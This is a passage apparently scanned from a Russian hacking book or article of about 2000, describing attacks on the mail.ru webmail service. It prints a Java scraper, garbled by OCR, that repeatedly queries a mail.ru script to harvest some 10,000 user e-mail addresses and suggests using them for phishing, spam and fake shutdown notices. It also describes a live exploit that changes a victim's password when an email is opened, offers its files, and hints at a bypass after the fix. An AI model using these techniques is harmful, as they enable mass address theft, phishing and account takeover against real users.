Раздел: Документация
0 ... 44 45 46 47 48 49 50 ... 169 Настройки пользователя mnebojsa@mail.ru Ошибка. Не заполнены необходимые При следующем обращении «сдастся» следующий пользователь илиесли таковых не окажется. Осталось исследовать внутрен- нюю структуру ответа да написать программу, повторяющую подобные запросы и фильтрующую ответ в поисках нужной информации. Лучше запускать ее в часы пик. http;//www.chat.ru/~avkvladru/mail/getname.; ava import Java.io.*; import java.net.*; import java.util.*; public class getname { public static void main (String argsM) { String nextline; try ( URL mailserv= new URL(«http://koi.mail.ru/cgi-bin/modifyuser?modify»); for (int i-l;i<=10000;i++) { DatalnputStream input = new DatalnputStream ( mailserv.openConnection().getlnputStream()); nextline=input.readLine(); nextline=input.readLine(); nextline=input.readLine(); // Нужный нам адрес — в третьей строке выходного документа System.out.println( nextline); input.close (); j ioe) j System.out.println(ioe.toString()); ) 143 I }; Вызовы команд вида ( в среде D К) :javacgetname.javo — компилируем файл :java getname > userlist.txt занесут в файл userlist.txt примерно 10000 e-mail адресов. Теперь больной манией величия «хаксор» вполне может создать программу, автоматически рассылающую письма-ловушки, отбирающие почтовые ящики, практичный спаммер — рекламу, а конкуренты -сообщение вида: «бесплатный сервис mail.ru будет с начала месяца прекращен, воспользуйтесь xxxx.ru» или все вместе. С уважением A.V. Komlin avkvladru@netscape.net. Иллюстрация Рабочий пример по захвату ящика находится в почтовом боксе intst2 сервера www.mail.ru. Паролем является комбинация из шести единиц «111111» или двоек «222222»: попробуйте обе. В(Входящих) находятся два письма: От Дата Размер Тема 1AVKJan 07 1К change pass to 11 111 1 2AVK Jan 07 IK change pass to 222222 Когда вы открываете любое из писем, оно автоматически меняет пароль бокса на указанный в «Теме» (111111 или 222222, соответственно). Для наглядности пример приведен без макияжа (маскировки). Пожалуйста, перед запуском убедитесь, что у вас включены cookies (они необходимы для корректной работы почтового сервера) и работает JVMQava). PLS, не меняйте и не портьте почтовый ящик. Если пример не работает — скорее всего персонал mail.ru, получив извещение, устранил ошибку. Сообщите об этом на hackzone. Уважаемые читатели, к сожалению, пример постоянно портят (зачем-то стирают, меняют пароль), а из-за разницы времен мне трудно его оперативно исправлять. 144 За адресом примера, если есть желание проверить, обращайтесь ко мне на e-mail. Все файлы, необходимые для создания своего экс-плойта лежат на www.chat.ru/-avkvladru/mail/. При проверке вам достаточно приаттачить файл readii 1 l.html к письму, выслать его на свой почтовый ящик mail.ru и прочитать письмо. Пароль изменится на 111111. Внимание, пример для наглядности без макияжа (маскировки). 10.01.2000. Дополнение Mail.ru устранил ошибку. Надо признать, оперативно. Наверное, даже слишком, забыв, что в IE апплеты можно вызвать и тегом «object», который пока разрешен. Конечно, син-такс вызова чуть другой, но это не проблема. Так что завтра работу придется повторить. А у читателей еще есть время попробовать. Большое спасибо всем, кто откликнулся на статью. Увы, примеры на mail.ru были практически недоступны, т. к. их постоянно стирали, причем отнюдь не администраторы mail.ru. Вот пример диалога с форума: new Народ, ну не стирайте примеры к главе на mail.ru. Для Вас же сделано. Уважайте чужой труд и своих коллег. -AVK 12:54:29 09/1/2000 (5) new А ты напиши ВСЕ, КАК восстанавливаешь смененный пароль, если я к ящику даже не притрагиваюсь. Может, и перестану... . Гыы... -Любопытный 13:17:38 09/1/2000 (4) new Да-а, таблетки от жадности надо пить. Да побольше, побольше! -AVK 13:23:20 09/1/2000 (2) 22.01.2000 Дополнение - 2 В настоящее время всеконкретные ошибки в mail.ru устранены, но, уверяю вас, они действительноа не плод моего больного воображения. Комментарий hackzone: это могу подтвердить и я, могут и авторы восторженных писем в форуме в первые дни после 145 0 ... 44 45 46 47 48 49 50 ... 169
|
